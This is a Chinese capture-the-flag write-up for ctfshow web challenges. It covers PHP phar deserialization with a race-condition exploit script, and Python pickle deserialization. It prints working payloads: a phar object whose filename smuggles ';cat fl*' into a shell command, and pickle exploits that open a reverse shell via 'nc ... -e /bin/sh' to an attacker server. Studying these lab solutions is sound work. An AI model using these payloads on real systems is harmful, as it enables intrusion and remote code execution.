<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; } where is flag?
分析:
emm,在上题基础上新增了个判断 $this->admin 然后想着,构造一下序列化不就行了嘛,然后发现没有反序列化函数。。
看了下发现可以通过 file_put_contents 写 phar文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化。
不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到~
poc
phar构造如下,会在当前目录生成 evil.phar 文件
<?php class filter { public $filename = ';cat fl*'; public $evilfile = true; public $admin = true; } // 后缀必须为phar $phar = new Phar("evil.phar"); $phar->startBuffering(); // 设置 stubb, 增加 gif 文件头 $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new filter(); /** * 将自定义的 meta-data 存入 manifest * 这个函数需要在php.ini中修改 phar.readonly 为 Off * 否则的话会抛出 * creating archive "***.phar" disabled by the php.ini setting phar.readonly * 异常. */ $phar->setMetadata($o); // 添加需压缩的文件 $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
条件竞争,py3脚本
import base64 import requests import threading flag = False url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/' data = open('./evil.phar', 'rb').read() pre_resp = requests.get(url) if pre_resp.status_code != 200: print(url + '\n链接好像挂了....') exit(1) def upload(): requests.post(url+"?fn=evil.phar", data=data) def read(): global flag r = requests.post(url+"?fn=phar://evil.phar/", data="") if "ctfshow{" in r.text and flag is False: print(base64.b64encode(r.text.encode())) flag = True while flag is False: a = threading.Thread(target=upload) b = threading.Thread(target=read) a.start() b.start()
notion image
base64解码一下即可
notion image
题外
除了 file_put_contents 外,会把 phar 反序列化的函数还有:
受影响的函数列表
filename
filectime (获取文件的inode更改时间)
file_exists
file_get_contents
file_put_contents
file
filegroup (获取文件的组名)
fopen
fileinode (获取文件inode)
filemtime (获取文件的修改时间)
fileowner
fileperms (获取文件权限)
is_dir
is_executable
is_file
is_link (判断文件名是否为符号链接)
is_readable
is_writable
is_writeable
parse_ini_file (解析配置文件)
copy
unlink
stat (获取文件相关信息)
readfile (输入文件内容)
表格参考自:https://v0w.top/2020/03/12/phar-unsearise/

web277 python 反序列化

Werkzeug/1.0.1 Python/3.7.9 pickle 反序列化
notion image
Python反序列化,之前有过一些研究,晚点把Python反序列化基础链接更新上来~
尝试了很多,发现是无回显的,需要反弹shell
poc
import base64 import pickle import requests class Exp(): def __reduce__(self): return(__import__("os").system, ('nc 服务器ip 服务器端口 -e /bin/sh',)) exp = Exp() s = pickle.dumps(exp) s_base64 = base64.b64encode(s) url = 'http://7a111fcd-ce76-4dde-9c49-5aec7f2bd40f.challenge.ctf.show:8080/backdoor' params={ 'data': s_base64 } requests.get(url, params)
先在服务器上监听
nc -lvvp 7779
notion image
运行脚本
python3 web277.py
notion image
回到服务器上 cat 一下即可
notion image

web278 python 反序列化 简单绕过

Werkzeug/1.0.1 Python/3.7.9 pickle 反序列化
和 web277 差不多,只不过过滤了 system,换个函数即可
poc
import base64 import pickle import requests class Exp(): def __reduce__(self): return(__import__("os").popen, ('nc 服务器ip 服务器端口 -e /bin/sh',)) exp = Exp() s = pickle.dumps(exp) s_base64 = base64.b64encode(s) url = 'http://e281b968-e161-414c-bd80-c7a79045351e.challenge.ctf.show:8080/backdoor' params={ 'data': s_base64 } requests.get(url, params)
notion image

一些参考的题解
 
漏洞靶场
  • CTFSHOW
  • ctfshow SSRF篇微软威胁建模基础学习
    目录